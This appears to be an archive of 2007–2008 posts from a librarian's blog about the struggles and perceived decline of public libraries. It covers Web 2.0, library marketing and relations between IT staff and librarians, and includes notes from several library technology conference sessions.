I'd like to agree, but I can't. No matter how much money libraries might receive, the real issue is convenience. As long as Google is more convenient than a library, that's where students are going to go. If libraries suddenly get enough money to put all their content online, that would be more convenient, sure...as long as all the content was searchable with the same ease that Google provides. (And, so far, no information vendor has managed to do this, that I can see.) And then, where would that leave libraries, when already there is significant doubt about their relevance?

Money can't solve everything. And I seriously doubt that libraries are able to "fix" the problems with research in higher education.

Letter: With computers, why spend big on libraries?

2008-06-06T05:42:00.001-07:00

Like Michigan doesn't have enough troubles...now the Computer Revolution is equivalent to discovering fire. And libraries are irrelevant. Check out the letter here.

"Fail," indeed

2008-06-05T08:33:00.000-07:00

I'm trying really hard not to say "I told you so"...but I'm failing miserably. Check out this tidbit from Stephen's Lighthouse and his extraction from the Fail Blog.

I'm not the only one thinking the future is bleak...

2008-06-04T11:08:00.000-07:00

Check out this article about the depressed librarians.

A call for goodness

2008-05-29T09:06:00.001-07:00

I rarely, if ever, post things that are personal. But I received the following email (verbatim) from a friend today:

Please tell me something positive, good, or beautiful about humanity. Even something seemingly small and innocent. I've been barraged this week with cases of how evil, cruel, and disgusting our species is---against each other and especially against other creatures.

Tell me something beautiful or peaceful about people.

So, yes, I'm posting her "call for goodness" here, on a blog devoted to documenting the death of an institution. Anything good to say about people lately? Tell everyone in the comments!

Comments can be telling

2008-05-19T06:30:00.000-07:00

Undoubtedly, you've seen the story on DRM and the Boston Public Library; an organization that is anti-DRM, called Defective By Design, has demanded that BPL stop providing media that has digital rights management inherent in it. Old news, right?

What interests me more are the comments from the public, particularly when the story appeared on Digg. Perhaps the one that caught my attention most (and got 7 diggs):

Like I've even been in a library in the last ten years.
Thanks Google

Just sayin'.

Weighing in on One Big Library

2008-05-03T07:36:00.000-07:00

If you have somehow failed to see the announcement on other, more noteworthy blogs, York University in Toronto will be hosting a One Big Library conference in June. There has been some hubbub over the title alone...which I can only assume might have been at least part of the reason to name it that. Librarians, as a rule, tend to get in a snit when one mentions the idea that not everything needs local control. Collection development in particular is one area where librarians often become quite territorial. So the idea that all libraries could, concievably, be under the umbrella of one institution scares the bejeezus out of many of us.

I'm not sure where I stand on the idea, exactly. I wish I could go to the conference and participate, to really get a grip on some of the issues involved. But at first glance, the idea makes a fair amount of sense...depending on how it would be implemented. I could see libraries working as a type of franchise (please hold the "Want fries with that?" jokes...I know it's hard). Locally, libraries could choose the materials best suited to their localities. But the mother library organization (corporate headquarters?) provides guidance and significant marketing and PR investment on behalf of ALL libraries.

Individually, libraries just don't have the resources to do effective marketing in today's world. We attempt to brand ourselves individually with little or no result. Imagine if all libraries combined their resources and gave their dollars to one huge marketing effort geared to getting people into/using their local libraries?

An additional benefit of the franchise idea is consistent branding and fufillment of customer expectations. When someone goes into a chain store or restauarant, they are comfortable because they know what they're going to get in terms of service and products and atmosphere. Libraries don't currently have that advantage; each library is different, we all have different ILS systems, we can't share materials across borders easily, etc. A good marketing campaign could actually take advantage of that somewhat, promoting the message not only that libraries are useful, but each one is a different adventure in discovery. Let the customer expect that they will be different, yet know that libraries are important and there to serve the patron.

I think there could be significant issues with trying to create "One Big Library." I'm sure others have blogged about those already. But I would love to see "One Big Library Marketing Campaign."

Finish this sentence: "A public library is________."

2008-03-31T05:20:00.000-07:00

Conceptually, public libraries are in turmoil. And, collectively, our perceptions of what public libraries are might be at the root of it. This became very clear to me as I waded through my feed reader and one of my paper files this morning.

On the one hand, we have sessions like this at PLA. This session points out that the traditional public libraries model isn't working any more and that they need to challenge many assumptions of legacy librarianship. On the other, we have editorials like this that point out that that we are shooting ourselves in the foot because we are "attempting to placate those who perceive themselves as too busy to come to the library."

What is a public library? What is our mission? Has it ever struck anyone as odd that every single public library has its own mission statement? Public libraries are having major difficulties defining themselves and can't even agree on a consistent purpose of existence. If we don't define ourselves, others will.

"If public libraries become ineffectual and are consigned to the dustbin of history, I'm afraid we will have no one to blame but ourselves."--Harold N. Boyer

And again the question is being asked...

2008-03-08T07:28:00.000-08:00

Why pay for the public library? This time from Gainesville, Florida.

And I'm sure you've seen this one also...

2008-03-07T08:47:00.001-08:00

I know, I'm way behind on reporting these things...new jobs and moving and such will do that, I hear. Anyways, In case you actually missed it, here is the Slate slideshow about builiding libraries in the age of Google.

People can argue the question all they want. However, if the question is being asked in such a large-scale way, this is just further proof that the public libraries in this country are in serious trouble. When people question the need for an institution's existence, it would seem that the institution has done a poor job of marketing itself or instilling itself in the public perception.

Now it's official, libraries have a timeline for death throes

2008-03-07T08:41:00.001-08:00

If you read nearly any other library-related blog, you've no doubt seen this already. Nonetheless, it is part of the ongoing documentary here. Just being thorough.

Even this consultant admits that libraries need rescuing

2008-02-24T09:23:00.001-08:00

...and she is making a career out of it. Check out the interview here.

The devaluing of librarians

2008-02-24T09:17:00.000-08:00

From LISNews:

WI Librarians Demoted: "Librarians today do less complex work"

This should be a surprise to no one. This is a direct result of not educating the public about the importance of libraries and the kind of work that librarians really do. Public perception is based on what the public observes and believes, not necessarily on fact. I think we're going to see a lot more of this as long as libraries as a whole continually fail to market themselves effectively (or at all).

Courses they should teach at library school

2008-02-04T12:19:00.000-08:00

I'm really starting to like the Annoyed Librarian. I'm not nearly as anti-Web 2.0 as he/she is but many of the points this anonymous blogger makes cause me to silently cheer. This one, "Courses I Wish I'd Had in Library School," especially made me laugh (and remember, humor is funny because it has at least a grain of truth). The comments are particularly insightful. If you're considering an MLS, this post and the responses will likely make you think twice.

"Coddle those who cower in fear...? Never."

2008-02-04T09:20:00.000-08:00

"None of the BS about having to cater to the whims of non-technical people. Listen to them and their needs? Absolutely. Try to understand and meet those needs? Postively in every case. But coddle those who cower in fear and refuse to understand? Never."

--from a library IT staff person on how he would proceed if he were in charge

Many IT people I know are actually very patient teachers and understand that repeating the answers to the same questions, over and over, is simply part of the territory. What upsets them isn't usually repetition or hand-holding; it's dealing with the technophobic and even hostile reactions of some librarians.

Think about it for just a moment; how many times have you introduced someone to the Internet, or even to the mouse for the first time? What if that person is nervous or outright terrified? You'd probably be sympathetic and understanding, right? Now, imagine that that same person is being paid, as part of their job, to learn that skill. And they don't want to. And they're simmering with hostility and fear. And wanting to foil your attempts to teach them, in some underlying, vain hope that they somehow will be exempt from upgrading their skills. Getting the picture? Imagine if you had to deal with that attitude on a regular basis. Getting burned out yet? Maybe at least a little cranky?

IT people don't want librarians to necessarily love technology. I bet most wouldn't even necessarily expect everyone to like it. But I believe that most IT people in libraries would appreciate it if they didn't get shot as as the messengers, so to speak. Information technology requires upgrades to skillsets all the time, for everyone who comes in contact with it. We all get paid to keep up.

We all need to put a brave face on it and show that librarians are flexible and still relevant in this fast-paced world the Internet has wrought.

"Libraries are absolutely terrible online"

2008-02-01T05:29:00.000-08:00

From Tim Spalding, of LibraryThing, comes this bit of reality:

You can't Google a book and find out where in town to get a copy. You can't Google a book and find out whether your public library has a copy. Your library doesn't know the author is touring the area. The author doesn't know which independent bookstores are selling the most copies, and so where to read. Bookstore software is crap and most independent bookstores aren't online at all. The second-largest US bookstore chain—Borders—is less online that Powell's! Libraries are absolutely *terrible* online; you will rarely get a library in the first ten pages of a Google search because search engines can't "see inside" library websites. Library data is largely inaccessible and dominated by an inflexible data monopoly. Book data is mostly from Amazon or from a welter of other companies that don't or can't help any but the largest providers. Publisher websites a seldom more than 1990s brochure-ware. Small presses sometimes have good websites, but aren't included in the book-data game. There's no online network for authors and agents. There isn't even a decent "works" system for books—and to the extent there are systems like this, publishers and libraries have completely different systems.

This should not be a surprise to anyone in libraries; just another reason why $OPACS=="suck."

IT people, lend me your thoughts

2008-01-23T11:48:00.000-08:00

I will be at at least a couple of the Ohio Library Council chapter conferences this spring, to present a session called (at least, I recall it being called this) "What Your Tech Wants You to Know." This is loosely based on a presentation I did upon request for a Public Libraries class from the library school at Kent State University. For that session, I was given the opportunity to speak honestly about IT in public libraries. I am expanding upon that presentation, and would like to get a larger range of opinions to share, if I can.

So--if you could tell public librarians any one thing about technology in libraries, what would you tell them?

(And yes, I'd love to see a session for IT staff called "What Your Librarian Wants You to Know.")

Useful for so many library websites...

2008-01-16T05:49:00.000-08:00

http://www.design-police.org/

Minneapolis May be Most Literate City, but Cleveland is Tops in Libraries

2008-01-04T04:39:00.000-08:00

Says Library Journal. w00t for my hometown!

Perhaps User Friendly says it all about 2007

2007-12-31T12:17:00.001-08:00

Ah, Web 2.0....you've come so far....http://ars.userfriendly.org/cartoons/?id=20071231

Happy New Year!

What happens when all culture is Internet culture?

2007-12-16T12:54:00.000-08:00

From my friend Yarmando comes this article concerning the current writer's strike, which contains an interesting passage that has "Death Throes" relevancy:

"They [media conglomerates] can see the day when the television set and the DVD disappear. When first-run movies are released for purchase online the same day they premiere in theaters. On this day, all media will effectively be transmitted to your home by computer. There will be no such thing as a screenwriter or a television writer. We will all be Internet writers."

Yarmando points out that when all culture is Internet culture, that's going to pose significant challenges to the traditionalist library. I think we're already seeing this now, with downloadable media, distance learning in all of its forms and online social networks. Many of these types of things have no analog versions which are accessible to those without Internet access or even their own personal home computer. Libraries serve all of their patrons, not just the ones that don't have computers, so to not provide services in the digital realms is unfair and short-sighted. But at some point there may not be much which isn't obtained through the Internet, and how will libraries demonstrate their relevancy?

New blog template

2007-11-30T12:39:00.000-08:00

I'm trying out a new blog template for Library Geek Woes for a bit. I'm not sure I'm in love with it, but I thought I'd try it for at least a little while and see if it grows on me. I'm not convinced that anyone is actually coming to my blog directly to read it, but please let me know if I'm wrong. Know of a better Blogger template that would suit my content? (And, yes, I'm really lazy not to design and build one myself...but I'm not convinced it would be worth it.)

I'll work on adding some widgets a little later on.

UPDATE: Ok, new template #2. I am picturing the birds as the vultures coming to eat the remainder of what's left of public libraries. Nobody's eyes are bleeding this time round, I hope?

Cleveland Public Library opens new island in Second Life

2007-11-09T19:07:00.000-08:00

Cleveland Public Library, of Cleveland, Ohio, is opening a new sim on Friday, November 16th. Cleveland Public Library is the third largest public research library in the United States, and also is the largest repository of chess-related items in the world. The island includes playable, life-size chess sets, and the Main Library building currently features an exhibit of historical chess sets owned by the library in real life. Also be sure to check out the Photo Gallery (believe us, you'll know it when you see it!), where we have an exhibit of sheet music related to Cleveland and Ohio.

The sim will open to the public at 7pm EST with tours as time and guides allow. Grand opening activities will include two live music performances: Picker Apogee at 8pm and Nad Gough at 10pm. A costume contest for the best chess-related costume will take place at 9pm, with a $1000 Linden dollars grand prize to the winner. The life-size chess sets will also be available for casual or competitive play. Please IM Lebachai Vesta with any questions. Please join us to celebrate this major opening in Second Life!

The catalogers might be having fits

2007-10-18T06:06:00.000-07:00

I still don't think catalogers are going away, but this video from the creator of The Machine is Us/ing Us has a newer offering, called Information R/evolution. This should be thought-provoking for any librarian.

From this week's episode of "Heroes"

2007-10-17T12:22:00.000-07:00

A library friend shared this with me (because I just finished Season 1 on DVD and haven't had a chance to catch up with Season 2 yet):

For those of you who didn't see this week's episode of Heroes, I thought I'd share this scene with you. Teenage Claire wanted to sneak out of the house to meet her boyfriend, so at the dinner table announced that she had to go to the library that evening to work on a research project. Her brother responds, "Duh, Claire, haven't you ever heard of the Internet?" To which she replies, "Well, duh, that's why I'm going to the library. My paper is on how the library is obsolete!"
OUCH!!

I just report the nails as they're hammered in, folks. Back to your regularly-scheduled program.

You Offer Me Nothing: Serving Next Generation Patrons

2007-10-11T12:07:00.000-07:00

(This session was jam-packed, beyond SRO at the Ohio Library Council's 2007 Convention, and is particularly relevant to me and my blog, so I am posting it here.)

You Offer Me Nothing: Serving Next Generation Patrons

Moderator: Don Yarman

Panelists: Karl Jendretzky, Bridget

Karl is tech manager for OPLIN, but has no use for libraries

Bridget is a manager for an autoglass company; her kids use libraries, but she and her husband do not

The purpose of the program is not to convince non-library users; they know libraries have all the stuff they have and can help, so the idea is to find out how their needs are being met outside of libraries

Did the panelists use libraries before?

Karl used it as a young child, but not since; same for Bridget.

Karl consumes a lot of media (not novel); where does he get these?

TV—uses BitTorrent, VCR

Music—he downloads it but doesn’t redistribute

Movies—doesn’t download as much, but hates NetFlix because of the wait time and called it “lame”

“Never pay for it” philosophy

Deletes the stuff mostly when he’s done with it; his motivation is not to have his own library

Doesn’t want to buy CDs anyway, but won’t put CDs in his machine because of the problems with (for example) Sony rootkits and DRM

One of the audience members pointed out that Nine Inch Nails and Madonna have dropped their record labels and gone out on their own

With research databases, too many obstacles, take too long

Physical libraries—feels uncomfortable, doesn’t understand Dewey Decimal system, has to go there

Bridget—her reading habits and how libraries don’t fit into them

Reads novels every night and grew up with libraries

But works and has two kids(that she reads to every night)

Has no time to go

Likes to keep books when she’s done

Library scares her; but doesn’t know how to easily how to get things off the shelf

Takes a long time to find what she wants

Sees books and authors she’s never heard of

Fewer books at the bookstore; not so much choice

Bookstores have the most current stuff ; they’re set up for consumerism

Would be interested in a library service where the books were delivered to her house and she could keep the ones she liked and send back the ones she didn’t

Only uses her computer at work and for email

Doesn’t have time to go to programs at the library; library programs don’t fit in at times they have

Is there anything libraries can do to get them to come in?

More intuitive signage

More face-up display; libraries only show spines. No visual appeal or easy way to scan materials

Shelves are too high in libraries

Claustrophobic aisles, brown, dark aisles—she left the library

Everything else Bridget does in her life has consumerism behind it; libraries don’t market themselves or show people how we can make their lives easier

Libraries are not shoved in their faces; they don’t think about them

Like the idea of roving librarians, not having librarians behind a big desk

Like the concept of libraries, but not convenient

Would probably support a library levy for the people who can’t buy books

Would come if video games were circ’d—need to bring in adults

Would come if libraries hosted LAN parties at night

Bridget said that if her kids check out R-rated materials, that’s NOT the library’s fault

Should libraries focus on their “brand” (books)?

Karl feels that printed materials are becoming obsolete

Karl feels printed materials for reference don’t have a place anymore

How do we promote services to non-users?

Flyers in the local pizza place

Commercials (for those who don’t skip through them)

What's so wrong with books?

2007-09-24T11:43:00.001-07:00

I'm a web developer. I can't live without email or IM. I think many things Web 2.0 are cool and useful (but not all). So, it may be a tad blasphemous to ask this:

What's so wrong with books?

It seems to me that public libraries have been struggling with the nature of their mission and how they brand themselves ever since the Net hit the mainstream. I realize that the advent of the intertubes has really raised some complex questions for libraries, and I won't attempt to address those here now. But I have noticed that some libraries are not only attempting to reinvent themselves, they often seem to want to do so without involving those supposedly old, dusty volumes on their shelves. They want to be new, cool and hip and web-ready.

The OCLC Perceptions report clearly showed that, worldwide, the library brand is about books. Yes, we have other services which are terrific. We've got other types of media which get tons of circ (DVDs, anyone?). Public libraries do all kinds of great things in their communities. And...they have lots of books. Walk into a library, and the bulk of what you see will invariably be books.

There's been a lot of uproar in the biblioblogosphere over the Wyoming Libraries Mudflap Girl campagin. I have mixed feelings myself, but I'll say this much: at least she's got a book in her hand and not a PDA or a laptop.

Perhaps I'm just rambling because I'm on an insane amount of OTC cold medication so I can get through my workday. Yet, somehow, in the midst of all the good things that the Web can do for libraries, I worry that libraries will lose sight of what people recognize as their core business.

Just some thoughts, courtesy of Tylenol Severe Cold capsules.

Chasing the technology curve

2007-09-19T05:26:00.001-07:00

Libraries have traditionally been slow to change, but I also think that one of the contributing factors for that issue is that libraries aren't sure how to change. What to change to? Which technology is the "right" one? Which will be the next big thing? What do the patrons/customers/users really want?

This is one of the reasons that libraries will often chase technological solutions, hoping that if they implement Technology A, B and maybe C, they will somehow have done due diligence and have finally made it to the top of the keeping-up curve. As much as I can be a proponent of Web 2.0 applications, I think that the extensive hype around Web 2.0 has often only served to fuel this snipe hunt. But what else can libraries do, given the popularity of YouTube, MySpace, Facebook and seemingly every new major online community that comes down the pike?

I know that I, as a web developer in a public library, often feel outclassed by the commercial applications available to our patrons elsewhere. What library doesn't secretly covet the community of LibraryThing? Look at all of the cool things one can do at Amazon.com that are book-related. C'mon, admit it...if you're a public library, don't you feel a little bit the poor cousin?

It's frustrating to be in a position where you know the organization needs to do something, only there's no clear direction from anywhere about which way to go. If you need proof of this, look around the web for libraries that have abandoned blogs, Flickr accounts , Meebo chat rooms, wikis or other web applications. Many abandoned projects are likely, at least partially, the result of poor planning or resource allotment. But I think that lack of vision played a critical role in many as well. How many of these institutions jumped on the Web 2.0 bandwagon without really knowing why they were getting on?

I don't have any good answers, because I'm probably as deeply involved in this snipe hunt as anyone. But I keep thinking that looking to other libraries for the answers isn't a good way to go. When you're searching for answers, looking to your search companions for them doesn't make a lot of sense to me. I think it's time we start looking at organizations and businesses outside of the library sphere. Librarians know to how to use the best sources for research, and perhaps the best sources, in this case, are not ourselves.

"Evolution of Dance Guy" to be keynote speaker at Ohio library conference

2007-09-10T09:35:00.001-07:00

Haven't seen "The Evolution of Dance" yet? Judson Laipply is local to Cleveland, Ohio, and currently has the most-watched video on YouTube. He will be the closing keynote at the Ohio Library Council's Convention next month. What a great change from the usual author speech.

And the latest nail in the coffin

2007-08-29T05:20:00.000-07:00

I don't normally like to point to other blog posts very often, because I think blogging entails a responsibility to provide original content. However, since someone pointed out that I am doing the documentary on the death of American public libraries, I feel obligated to point this out from George Needham of OCLC:

How many libraries get $288 per capita annual support? As the person who pointed me to this site noted, "Like a library. But less free. Possibly more convenient..." Time is the new currency, even in this topsy-turvy economy. Be afraid. Be very afraid.

See the whole post here.

What if libraries REALLY got rated?

2007-07-30T09:15:00.001-07:00

...and I don't mean the HALPR ratings, or ALA rankings, or whatever else "officially" is out there. What if there was a site for libraries like there is now for aiports (newly launched) or even public restrooms? Meaning, what if our public got to judge libraries, in context, socially and online?

It's bound to happen. Most people already expect to be able to vote and comment on what they find online. Many, when they have a negative experience, find that the net is the primary outlet. They not only tell their friends, but they're likely to tell everyone in their social network. And those networks are growing. If I told everyone in all of my social networks about my horrible experience at (insert library name here) , that could turn out to be a significant number of people who hear that (insert library name here) isn't, say, customer-friendly.

But, not only could I potentially tell all of my online "friends," but with such a site as I imagine, I could post my experience to an ongoing, social archive. "No wireless at Library X. Rude check-out people. Couldn't find anything and no one would help me." And it would all be attached to that library's record in perpetuity and perhaps Googlemapped to boot.

Admittedly, my first inclination is to cringe at the idea of having a library's flaws exposed and catalogued for easy retrieval. On the other hand, I wonder if this wouldn't give libraries a more accurate (or at least different) picture of their customer service? A good director would want to know what could be done to improve what his/her library provides.

It's also likely that complaints would not be the only entries...and if your library has great service and services, having your patrons tout it for you can only be a bonus.

I think this would be a terrific project for, say, ALA to take up. I'd rather have my professional association take this on, rather than a non-library related entity. Better that we put this out there before a disgruntled patron does.

I got interviewed

2007-07-23T11:01:00.000-07:00

Several months ago, I was interviewed by William Sherman of Degreetutor.com, asking for my views on the futures of libraries and librarians. You can see the interview here. He also interviewed many other library bloggers, and you can see the full listing here.

Computermann to the rescue

2007-06-27T05:23:00.000-07:00

Have old Gates machines lying around? Want to put together an Edubuntu server? My friend Jim Mann (aka oldcomputermann), Technology Coordinator at Greene County Public Library, has put together a fabulous series of YouTube videos to show you how, step-by-step. His dry sense of humor will keep you chuckling all the way. http://youtube.com/user/oldcomputermann

How to Hack Your Director (TechConnections 8)

2007-06-12T08:05:00.000-07:00

Don Yarman
Deputy Director, Delaware County Public Library

Stereotypes (or "YMMV")--let's acknowledge it and move on

Why I'm talking about this:
They asked me to
Laura (ME!) "are you geek or admin?"--he was admin
Yarmando is middleware
why Grandview hired me
Translates between techies and librarians
why OPLIN hired me
to translate
why Delaware hired me
has occupied space between admins and techs
Dennis Miller disclaimer: could be wrong, this is all his opinion

Why are you listening?
People here at TechConnections--may not need to hear this presentation
Want to find out how to make libraries move faster in adopting new technologies
Some had trouble convincing their admins that they should come to

Librarians like stories
When you are talking to your director, talk about it in ways they understand
Vocabulary and metaphors
Plot, character, impact
...and they all lived happily ever after
Talk about the people involved, the community, the impact

Like stories; hate drama
No surprises
Telegraph what you're working on
Posted, not pestered--keep them updated, but don't tell them every little thing
You can't hide from the drama
If you're invisible, you will be blamed

Sticker shock=drama
Prepare director for costs of technology

Librarians like language
You have to speak their language; don't try to teach them yours!
They'll try, so act Spanish, no French (reward and teach, don't ridicule)
Become the explainer

What "how" means
"how" you manage a site versus "how" it actually gets done technically
Directors care about the "how" of people; how are people going to experience the end product? How will impact staff?

It's about people, not things
When proposing solutions, emphasize the actions made possible by the tools, not the tools' potential
Lip-service to learning: what will *you* learn from this and how will that learning bring to the library?
Authority: directors will be impressed that you have identified authorities in your field. Get your director to buy into that authority will help

Librarians hate change
Show how you will minimize the impact of change, or how small changes head off big ones
Note that libraries tend to use changes in tools to drive changes in culture. Your role is key.

Directors do NOT care about:
Elegance
They don't care what's in the sausage
They just care how it tastes & WHAT IT COSTS
Omniscience
It's OK not to know the answer
It's not OK to fail to investigate promptly

Advanced hacking: Myers-Briggs
Attitudes: Introversion/Extroversion
Perceiving: intuition/sensing
Judging: thinking/feeling
Lifestyle: judging/perceiving
It's worth it:
Don't brainstorm with introverts
Don't keep extroverts in the dark
Don't say "what if" to a senser
Don't ignore contexts with an intuitive
Better to play to their strengths

Above all...
A director does not want to be "hacked"
Basic distrust: directors got where they are because they are really good people hackers. There is a basic distrust of the tech staff. "I need to be comfortable that my tech staff doesn't have an agenda."

Build trust
demonstrate evolving abilities
foster openness and communication
"so, what's next?"
Accept criticism well
Be honest about what you can do
Admit mistakes

Deceptively easy advice
Learn how your director prefers to be communicated with and communicate in that manner

Top Technology Trends for 2007 (TechConnections 8)

2007-06-12T07:08:00.000-07:00

Michael Stephens

The changes in the Internet change the technology in general
Find others like you, make connections online

Trend: Conversations
"We are waking up and linking to each otehr. We are watching. But we are not waiting."" Cluetrain Manifesto #95
AADL.org does not moderate comments; had 6000 in first year, only one had a dirty word. Community self-policed that comment
Wise freedom: would rather teach students what is useful and not block access (high school in CA)

Trend: Convergence
Media is changing...Flickr on CNN, eBay has cut out the middleman in transactions

Trend: Content Creation
57% of teens create content
libraries have great potential to provide for people access to creating content

Trend: We're human
Need to put a human face on the library
Flickr is a way to do this that's ideal

Trend: new job descriptions
virtual librarian, information concierge, gaming librarian, strategy guide, etec
Immersive Learning Librarian at McMaster University

Trend: Citizen journalism
People take pictures and post them to blogs
We have moved into a time that anyone that has a cell camera and a blog can share things with the world instantaneously
The world has changed!

Trend: openness and sharing
Castr (Westerville PL)
Koha
Open source
Learning 2.0
Second Life--build new building in SL first to see how it works

Learn to learn
Adapt to Change
Scan the Horizon

The Hyperlinked Library: Trends, Tools & Technology (TechConnections8)

2007-06-12T05:56:00.000-07:00

Michael Stephens
Dominican University GSLIS
www.tametheweb.com

We need to watch for trends and libraries aren't doing this
People control the Information Age, not libraries or librarians
People are playing out their lives online

OCLC Perceptions report
96% have used a library at least once
51% have used IM
30% have never heard of online databases
trends towards increased information and seamless experience
Need a seamless experience online, not silos
People start with search engines; 1% start at library sites
People trust libraries and search engines about the same
Reasons for never using the library website:
didn't know it existed
other sites have better info

NetFlix model for books--Bookswim.com

How do we move twoard Library 2.0?
ClueTrain Manifesto--online conversations changing the way people do business
The hyperlinked organization:
is team-based
is deentralized
communicates with speedy effective meetings, hyperlinked intranets, and open human conversation
is broken ( a little bit, meaning trial and error is ok!)

The hyperlinked library
breaks down barriers--does library create barriers?
5 factors to consider:
--does it place a barrier between the user and the service?
--we're banning technologies rather than behaviors (cell phones)
--rules at CMCPL: "Respect youself; respect others; respect the space"
--sorry, too fast, couldn't get more, went too fast!
has open, transparent conversations
talk to staff and users openly and honestly
to speak with a human voice, companies must share the concerns of their communities
find ways to particpate (blogs are ideal)
tell stories (use Flickr, YouTube, create content and allow users to create content)
involves the users in planning and evaluation
The user is not broken--Karen Schneider
Plan with your users
user-centered planning
find new and improved ways to delivers servies that meet their needs
Listen! To both staff and your users
engage the users
user-generated content
users will define their own channels of content streaming in
libraries can play a role: offer content, offer the mechanism to create content (Charlotte-Mecklenburg's ImaginOn studio)

Choosing among trends: good signs
It solves a known problem
Users are asking fo rit
Your kdis already know how to use it
Your mom already knows how to use it
Your boss already knows how to us it
It looks like fun
(Joan Frye Williams)

Six trends driving the global economy:
--people power
--video unlimited
--personalize it
--carbon killers
--buy it now
--all-access economy
(from Chris Anderson at Wired)

Trendspotting:
be curious and bosess about everything
seek ideas and innovations from other industries

Have presence in the lives of your users
put the library out in the places where users might discover it
flickr, texting, meebo room on contact page

Learn and innovate
training
make it part of the staff development and part of the culture, up and down
a well-trained staff can carry your message to your users

Training Web 2.0
create a sandbox for staff to play with
"Why are we doing this?" Make sure that your staff knows what's going on!
Talked about Training 2.0 program PLCMC
Create an emerging technology group

Are we failing to innovate because of fear?
Adopt a 2.0 philosophy
it's about experience and play
create a culture of trust
Library 2.0=(books n' stuff +people + radical trust) x participation (Darlene Fichter)

5 things you can do right now:
be a trendspotter
form an emerging technology committee
(and blog about it!)
try a learning 2.0 program
create a what's new" blog
explore presence online

Exploring Libraries (…and Our User) in the Web 2.0 Realm (TechConnections 8)

2007-06-12T05:54:00.000-07:00

Exploring Libraries (…and Our User) in the Web 2.0 Realm

Brian C. Gray

Case Wesetern Reserve University

Why should we care about Web 2.0?

Competition to libraries

Alternatives formarketing and communication—good when we’re on limited budgets

New publishing practices—some are bypassing regular publishing outlets

User awareness—being aware of what they’re doing

Efficiency

“Buzz” word right now

Users are unaware of us OR are creating alternatives to library resources

Web 2.0 focuses on people

Covered changes from web 1.0 to 2.0 (famous list from Tim O’Reilly)

Showed O’Reilly’s Web 2.0 meme map

--focuses on principles, not the tools

--a lot of tools are social tools

-about an attitude more than a technology

Key concepts:

-collaboration and sharing

-ownership and participation

-creation

-web-based rather than software based

-data and information

-social

-connections and relationships

-trust

-enrichment

-personal data/identity

-decentralized

-user “tagged” or defined

-experience

-services

-remixable

-behavior

Library 2.0

-coined by Michael Casey on his blog LibraryCrunch

-some major library contributors: Stephen Abram, John Blyberg, Michael E. Casey, Jenny Levine, Paul Miller, Michael Stephens

-Delivery

-Constant and purposeful change

-adaption

-user designed and/or created

-participation

-user feedback 2-way information exchange

-reaching new users

Warnings (or My Thoughts)

-what do users want and/or expect?

-investment in technology and/or time?

-what are users doing on their own?

-how can users contribute?

Do you recognize RSS? (showed various icons and explained what it is

-showed examples from CWRU

-EBSCO—can create an RSS alert directly from a results list, a search history or a publication’s table of contents

RSS and OPML

OPML can be shared so everyone has access to the same content

Bloglines and Rojo are free web-based readers

Blogbridge allows you to organize your feeds like email

RSS changing our patrons

Moving away from email and listerservs

Current awareness

“PULL” rather than “PUSH”

Sharing everything—privacy?

Speed

Few years ago…”if not on the Internet, it is not legitimate.” Is RSS the next thing patrons use to judge products and services?

Blog considerations

Purpose: news, discussion, etc.

Open, no commenting or moderation?

Allow tracking/pinging?

Spam prevention

Single or multiple authors?

How often are entries added?

Legal considerations (non—profit status, advertising, organizational policies, etc)

Workkplace email, IM and blogs

8% of orgs have business blogs

55% of business blogs are public

Less than 2% of orgs assign a lawyer or other responsible party to review employees’ entries

In March 2007 Technorati was tracking over 70 million weblogs tracked

ALA has around 30 blogs for different groups

Case Western has a Moveable Type installation that allows everyone on campus to have their own blog

Blog-based OPAC

-Plymouth State—used Wordpress and integrated OPAC

Blogger is FREE

Patrons blogging about libraries

-Superpatron (AADL)

Wikis

CWRU uses it for info that doesn’t make it the regular website but needs a place

PBWiki is free and web-based

Flickr

Do you know what’s being posted there about your library? Do you give people a chance to see your stuff and see that you link to it?

LibraryElf—get your library acct info via RSS

Podcasting mentioned

Social bookmarking

Del,cio.us

YouTube—has your library put stuff up there, or is the only thing what other people put there?

PennTags—implemented tagging into the OPAC

Squidoo—allows you to link to other links, images, videos. Users can rank what’s in your list.

LibraryThing—people can catalog their own personal collections. Also informal book collections

Second Life, Google Maps, CiteULike, Connotea

The Synaptic Library (TechConnections 8 keynote)

2007-06-11T06:24:00.000-07:00

Lori Bowen Ayre, The Galecia Group

Libraries no longer have the corner on the info market. Almost anything can be obtained on the net.
The net is a conveyance for information, but it is not a library.
Thinks libraries will endure--where else can people go to be safe and be with people but not have to interact with them? Can be alone, can be social, doesn't have to be a member, no cover charge. Can nap, learn, be enlightened, explore, come to an understanding, browse, people watch, write reports, IM, do homework, daydream, apply for a job, blog, find out what's going on. Update social network pages, download gov't reports, play DDR. Verify facts, play chess or even read a book

No other place provides all of these options. The library is unique.
Living room for the neighborhood
The people's R&D department
A place that links education and entertainment
Gives institutional form to our community memory

The synaptic library is a place that brings places together. Synapses are the connections between neurons. (Gave explanation of how the brain works here.)

The library provides computer access for seniors; seniors are able to make the synaptic leap to the Internet because of libraries. Libraries give these people critical lifelines; the people make the difference.

Immigrants and new Americans--books in foreign languages, classes, can bring the kids...respite from crowded apartments and allow new arrivals to see the best of America

Many people come when having kids--can get materials and meet other parents with kids the same age (storytimes).

Kids network through games in the library; loud voices we hear are them making synaptic leaps and learning. Kids are building circuitry in their heads. A lot of it happens on computers & gadgets, but the good news is that it happening at our libraries and creating positive associations with libraries.

People are afraid of looking stupid and having to be quiet; kids now won’t have that

The books are a relatively minor part of what makes a library so special. Could reduce the number of books and library would still be the “front porch of the community.”

Technology is creating many new opportunities for people to breach the synaptic divide. So many hurdles are gone because of technology; geography, time, embarrassment.

Libraries are trying to serve the head (the masses) and the long tail (the more obscure items)
Libraries need to serve both ends of the spectrum. Need popular and less popular things.
Compact shelving helps cut costs; cost for showing items in public spaces is twice as much.
Allows for more space for more non-book things.

It is no longer all about the book. Communities can build libraries that are still relevant.
"Click free zones" are elegant areas specifically for reading; no computers or phones
Convenience is important; hot picks near self-check machines. Today's library is convenient.
Browsing shelves used to be the primary tool for discovery; now, it can happen just a few feet inside the library--"just returned" shelves.

The library is about creating an experience; a way to get the synapses firing.

Many web 2.0 technologies allow patrons to define the library

The people who work in libraries need to "get it" that libraries are still critical. The question is whether or not we can create enough excitement to bridge the gap.

Where's the library on this list?

2007-05-25T11:38:00.000-07:00

You won't find the library here, except in the comments. Sadly, I'm not surprised. Top 10 Best Places to Get Free Books

Steven Abram at Cleveland Heights-University Heights Public Library

2007-05-08T10:40:00.000-07:00

The Social Web 2.0 (May 8, 2007)

Stephen Abram

